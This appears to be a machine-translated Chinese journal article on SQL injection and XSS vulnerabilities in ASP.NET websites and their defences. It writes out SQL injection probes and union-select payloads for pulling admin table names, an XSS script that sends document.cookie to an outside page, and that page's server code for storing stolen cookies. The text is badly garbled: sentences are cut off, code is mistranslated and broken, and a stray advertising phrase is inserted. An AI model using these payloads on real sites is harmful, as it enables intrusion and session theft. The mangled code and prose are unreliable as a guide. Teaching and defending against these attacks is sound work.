本文重点介绍了asp.net动态网站前台程序设计中的SQL注入和XSS攻击漏洞,并提供了一种防止SQL注入攻击和XSS跨站点攻击的方法。

开发基于asp.net动态网站的领先程序时。量SQL注入漏洞; XSS注射漏洞;防御;前台程序;安全中图分类号:TP393文献标识码:A文章编号:1009-3044(2015)12-0060-02随着Internet的发展,Web应用程序应用越来越广泛,由于开放性在应用程序的运行环境中,随之而来的安全风险变得越来越重要,动态网站的一些攻击技术也在“及时”推进。
前,主要有针对动态网站攻击的SQL注入攻击和XSS跨站点脚本攻击。SQL注入攻击和SQL注入攻击防御是指从客户端的地址栏或网页的界面提交非法特殊代码,然后将其注入SQL业务代码由服务器执行,从而修改SQL语句的原始逻辑。取重要的敏感数据,避免登录验证,甚至运行系统命令,下载后门文件等。于可以从普通Web端口访问SQL注入,因此通用防火墙不会阻止并警告Web系统可能会受到危害并且很长时间都不会被检测到。理论上讲,只要它是一个带有查询字符串变量参数的动态网页,并且该页面访问数据库,如果Web应用程序没有执行必要的法律控制或过滤输入参数,它可以成为SQL注入攻击漏洞。SQL注入点确定URL查询参数是整数类型,地址是:http://www.abc.com/News.aspx?NewId = 1。可以使用以下方法检查SQL注入漏洞:在地址栏中输入http。
://www.abc.com/News.aspx? NewId = 1,异常执行;)在地址栏中输入http://www.abc.com/News.aspx?NewId=1和1 = 1以运行Normal;)输入http:// www .abc.com / News.aspx?NewId = 1和1 = 2在地址栏中执行异常;您可以确定存在SQL注入漏洞。URL请求参数是字符串类型,地址是:http://www.abc.com/News.aspx?NewId = 1。可以使用以下方法检查SQL注入漏洞:在地址栏中输入http://。www.abc.com/News.aspx?NewId=1“异常执行;)输入http://www.abc.com/News.aspx?NewId=1”和“1” =“1中的栏地址。
常运行;)在地址栏中输入http://www.abc.com/News.aspx?NewId=1和1=2。作异常。以判断存在SQL注入漏洞。
SQL注入攻击通过在查询字符串参数中添加特殊的Select查询来显示管理员表中的信息,从而利用SQL注入漏洞。取管理员表名称的方法http://www.abc.com/News.aspx?NewId=1和1 = 1 union select 1,2,3,4,5,6,7,8, [table name]的9,10,11,12,13,14,15,如果正常执行,则可以获取表的名称;)获取表中字段的名称和值管理员http://www.abc.com/News.aspx?NewId = 1和1 = 2联合选择1,2,3,4,
宁波网站建设5,6,7,8,9,10,11,12,13, 14.15在[表名]中,在正常执行中,这将是原始页面将显示上面提到的相应数字,其中动态信息正常显示,然后相应的数字被替换为猜到了字段名称。
SQL注入防御在开发Web应用程序时,最好使用数字类型来查询字符串变量参数,并对输入内容执行必要的合法性检查。
据查询参数的类型,如果数据类型是数字类型,则可以使用该数据类型。换方法检查,如果它是一个错误,它直接进入错误页面,如果它是一个字符串查询参数,它必须过滤一些字符敏感并将其用作命令对象Command的参数值。

应该尝试使用Session传递参数。好为查询字符串变量定义一个特殊类,或将其视为空白页,然后移动到相应的页面。
理方法如下:int i = 0; if(Request [“NewsID”]!= null){try {i = int.Parse(Request [“NewsID”] .ToString());会话[ “巢”] = i.ToString();} {捕捉Response.Redirect的( “〜/错误的.aspx”);}如果(I> 0){的Response.Redirect( “〜/ NewsShow.aspx”); }} else {Response.Redirect(“〜/ Error.aspx”);} XSS和XSS防御漏洞也就是说,跨站点脚本攻击意味着通过插入恶意脚本代码在当用户浏览这个网页一个网页,脚本代码将自动执行,实现攻击者的目标,如打开并自动发送相关页面,以窃取会话信息饼干等如果有用户记录,消息等在XSS注入攻击Web应用程序中,如果没有合法性检查或过滤输入和输出信息,这可能成为XSS注入攻击点。如,按用户或消息记录在网站数据库中输入以下脚本代码:window.open(“http://www.abc.com/inputcookie.aspx?” Document.cookie警报(你好);当用户打开时执行包含此脚本的页面时,将自动执行脚本,打开另一个网站的页面并发送存储在本地网站上的cookie。果inputcookie.aspx页面包含接收cookie并将其存储在数据库中的函数,则非法获取用户的cookie信息。inputcookie.aspx页面的代码是:if(Request.Cookies [0]!= Null){connstr = ConfigurationManager.ConnectionStrings [“cookiename”]。ConnectionString; connstr = connstr Server.MapPath(ConfigurationManager.ConnectionStrings [“cookiedb”] .ConnectionString); string sqlstr =“在测试表中插入(cookie)值(?)”; OleDbConnection conn = new OleDbConnection(connstr); OleDbCommand comm = new OleDbCommand(conn。; OleDbConnection(connstr); “Request.Cookies时[0] .Value.ToString()); comm.Parameters.Add(P); {尝试conn.Open()通讯的ExecuteNonQuery(); ..}捕捉{;}如果(= conn.State = ConnectionState.Connecting){conn.Close();}} XSS注入防御在Asp.net 1.1之后,该页面能够自动检测表单中是否存在XSS漏洞。用这样的条目,引擎会自动触发aspx页面指令中的请求检查异常错误,ValidateRequest =“true”,这将自动检查提交的内容是否包含XSS漏洞内容。

此,不要前台页面设置“ValidateRequest”,以网页上的“假”。量不要使用富文本编辑器的动态网站的前列。果你想使用,过滤器严格的输入内容来过滤敏感元素。
号或单词,保持对于所需的HTML代码,代码为:string str =“123abc;警报( OK); “STR = str.Replace(” “” B11 “); STR = str.Replace(” “” B12“); STR = Server.HtmlEncode(STR),STR = STR。换(“b11”,“”); str = str.Replace(“b12”,“”); Label1.Text =在程序中,过滤敏感的HTML标记,例如:,,,,